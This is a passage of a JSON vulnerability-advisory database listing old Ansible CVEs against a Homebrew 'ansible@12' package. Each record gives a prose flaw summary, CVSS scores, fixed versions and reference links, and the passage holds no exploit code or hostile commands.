","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183252.html"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-April/183274.html"},{"type":"WEB","url":"http://lists.fedoraproject.org/pipermail/package-announce/2016-May/184175.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2016-8614","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-cmwx-9m2h-x7v4","CVE-2016-8614","PYSEC-2018-37"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible apt_key module does not properly verify key fingerprint","details":"A flaw was found in Ansible before version 2.2.0.0. The `apt_key` module does not properly verify key fingerprints, allowing remote adversary to create an OpenPGP key which matches the short key ID and inject this key instead of the correct key.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-8614"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/issues/5237"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/pull/5353"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/pull/5357"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/commit/1182d1f0b76d56f3667e27987a10b9ec8f03357d"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/commit/66d47c8149d84e52f64b7c4d1f340d45dca94d9c"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8614"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-cmwx-9m2h-x7v4"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-37.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20200227214450/https://www.securityfocus.com/bid/94108"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2016-8628","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-jg4f-jqm5-4mgq","CVE-2016-8628","PYSEC-2018-38"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.0.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible fails to properly sanitize fact variables sent from the Ansible controller","details":"Ansible before version 2.2.0 fails to properly sanitize fact variables sent from the Ansible controller. An attacker with the ability to create special variables on the controller could execute arbitrary commands on Ansible clients as the user Ansible runs as.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-8628"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/41903"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/35938b907dfcd1106ca40b794f0db446bdb8cf09"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2016:2778"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8628"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jg4f-jqm5-4mgq"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-38.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20200227214455/http://www.securityfocus.com/bid/94109"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2016-8647","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-x4cm-m36h-c6qj","CVE-2016-8647","PYSEC-2018-58"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"}]},"summary":"Improper Input Validation in ansible","details":"An input validation vulnerability was found in Ansible's mysql_user module before 2.2.1.0, which may fail to correctly change a password in certain circumstances. Thus the previous password would still be active when it should have been changed.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-8647"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/pull/5388"},{"type":"WEB","url":"https://github.com/ansible/ansible-modules-core/commit/30fb384e7fb9a94ac3929e4a650877e45d8834c9"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1685"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2016-8647"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1396174"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8647"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-x4cm-m36h-c6qj"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-58.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2016-9587","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-m956-frf4-m2wr","CVE-2016-9587","PYSEC-2018-39"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible is vulnerable to an improper input validation in Ansible's handling of data sent from client systems","details":"Ansible before versions 2.1.4.0, 2.2.1.0 is vulnerable to an improper input validation in Ansible's handling of data sent from client systems. An attacker with control over a client system being managed by Ansible and the ability to send facts back to the Ansible server could use this flaw to execute arbitrary code on the Ansible server using the Ansible server privileges.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-9587"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:0448"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:0515"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1685"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-9587"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-m956-frf4-m2wr"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-39.yaml"},{"type":"WEB","url":"https://security.gentoo.org/glsa/201701-77"},{"type":"WEB","url":"https://web.archive.org/web/20170115210655/http://www.securityfocus.com/bid/95352"},{"type":"WEB","url":"https://www.exploit-db.com/exploits/41013"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2017-0195.html"},{"type":"WEB","url":"http://rhn.redhat.com/errata/RHSA-2017-0260.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2017-7466","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-3m8p-xpm6-8ww3","CVE-2017-7466","PYSEC-2018-40"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.2.3.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"Ansible before version 2.3 has an input validation vulnerability in the handling of data sent from client systems. An attacker with control over a client system being managed by Ansible, and the ability to send facts back to the Ansible server, could use this flaw to execute arbitrary code on the Ansible server using the Ansible server privileges.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-7466"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/24186"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/0d418789a298561fded9bce977d34babc9097079"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/7ff9fa52cfcef2065f0db80d85dd94b9b754839c"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1244"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1334"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1476"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1499"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1599"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1685"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-7466"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-40.yaml"},{"type":"WEB","url":"https://web.archive.org/web/20170701161323/http://www.securityfocus.com/bid/97595"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2017-7481","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-w578-j992-554x","CVE-2017-7481","PYSEC-2018-41"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.3.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible fails to properly mark lookup-plugin results as unsafe","details":"Ansible before versions 2.1.6.0, 2.2.3.0, 2.3.1.0, and 2.4.0.0 fails to properly mark lookup-plugin results as unsafe. If an attacker could control the results of lookup() calls, they could inject Unicode strings to be parsed by the jinja2 templating system, resulting in code execution. By default, the jinja2 templating language is now marked as 'unsafe' and is not evaluated.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-7481"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/fd30f5328986f9e1da434474481f32bf918a600c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f0e348f5eeb70c1fb3127d90891da43b5c0a9d29"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ed56f51f185a1ffd7ea57130d260098686fcc7c2"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/a1886911fcf4b691130cfc70dfc5daa5e07c46a3"},{"type":"WEB","url":"https://web.archive.org/web/20170801122609/http://www.securityfocus.com/bid/98492"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2021/01/msg00023.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-41.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2017-7481"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:2524"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1599"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1499"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1476"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1334"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:1244"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2017-7550","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-588w-w6mv-3cw5","CVE-2017-7550","PYSEC-2017-4"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.4.1.0"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"}]},"summary":"Ansible Insertion of Sensitive Information into Log File vulnerability","details":"A flaw was found in the way Ansible (2.3.x before 2.3.3, and 2.4.x before 2.4.1) passed certain parameters to the jenkins_plugin module. Remote attackers could use this flaw to expose sensitive information from a remote host's logs. This flaw was fixed by not allowing passwords to be specified in the \"params\" argument, and noting this in the module documentation.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2017-7550"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/30874"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/facbf7f14da29eea67ef68ab386fc15bd06d7c7f"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2017:2966"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2017-7550"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1473645"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2017-4.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2018-10855","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-jwcc-j78w-j73w","CVE-2018-10855","PYSEC-2018-42"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.5.5"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible exposes sensitive data in log files and on the terminal","details":"Ansible 2.5 prior to 2.5.5, and 2.4 prior to 2.4.5, do not honor the no_log task flag for failed tasks. When the no_log flag has been used to protect sensitive data passed to a task from being logged, and that task does not run successfully, Ansible will expose sensitive data in log files and on the terminal of the user running Ansible.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-10855"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2018:3788"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1948"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:1949"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2022"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2079"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2184"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2585"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0054"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10855"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-jwcc-j78w-j73w"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-42.yaml"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://www.debian.org/security/2019/dsa-4396"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2018-10874","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-3xvg-x47j-x75w","CVE-2018-10874","PYSEC-2018-81"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Improper Input Validation vulnerability","details":"In ansible it was found that inventory variables are loaded from current working directory when running ad-hoc command which are under attacker's control, allowing to run arbitrary code as a result.","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-10874"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/42067"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/44874addc7ea136f83c67d5869047ece02645fdb"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1f80949f964a946773f9d3ac1899535bd2cc2b8e"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/10d6fe6c98cfee9a7be0fea6102ba5dec951aec7"},{"type":"WEB","url":"https://web.archive.org/web/20201130165946/http://www.securitytracker.com/id/1041396"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-81.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10874"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1596528"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2018-10874"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0054"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2585"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2321"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2166"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2152"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2151"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2150"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2018:3788"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2018-10875","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-fc4h-467w-46rh","CVE-2018-10875","PYSEC-2018-43"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.6.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Arbitrary Code Execution","details":"A flaw was found in ansible. ansible.cfg is read from the current working directory which can be altered to make it point to a plugin or a module path under the control of an attacker, thus allowing the attacker to execute arbitrary code.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2018-10875"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/42388"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/43583"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/42070"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ff980afefdbe4ceb828bdb1bb2eef03cf616bf63"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/4cecbe81adbc655d7ab734165d3ac539f8ba5981"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f32c42c37aaf7b9db93ea3151b2f42a0c4bd8172"},{"type":"WEB","url":"https://www.debian.org/security/2019/dsa-4396"},{"type":"WEB","url":"https://web.archive.org/web/20201130165946/http://www.securitytracker.com/id/1041396"},{"type":"WEB","url":"https://usn.ubuntu.com/4072-1"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2018-43.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-10875"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2019:0054"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2585"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2321"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2166"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2152"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2151"},{"type":"WEB","url":"https://access.redhat.com/errata/RHSA-2018:2150"},{"type":"WEB","url":"https://access.redhat.com/errata/RHBA-2018:3788"},{"type":"WEB","url":"http://lists.opensuse.org/opensuse-security-announce/2019-04/msg00021.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@12-CVE-2018-16837","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-hwrm-63v2-42g4","CVE-2018-16837","PYSEC-2018-44"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@12","purl":"pkg:brew/ansible%4012"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"12.3.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.7.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"12.3.0","key":"upstream:pkg:pypi/ansible@12.3.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Leaks Data Passed to ssh-keygen","details":"Ansible \"User\" module leaks any data which is passed on as a parameter to ssh-keygen. This could lean in undesirable situations such as passphrases credentials passed as a parameter for the ssh-keygen executable. Showing those credentials in clear text form for every user which have access just to the process 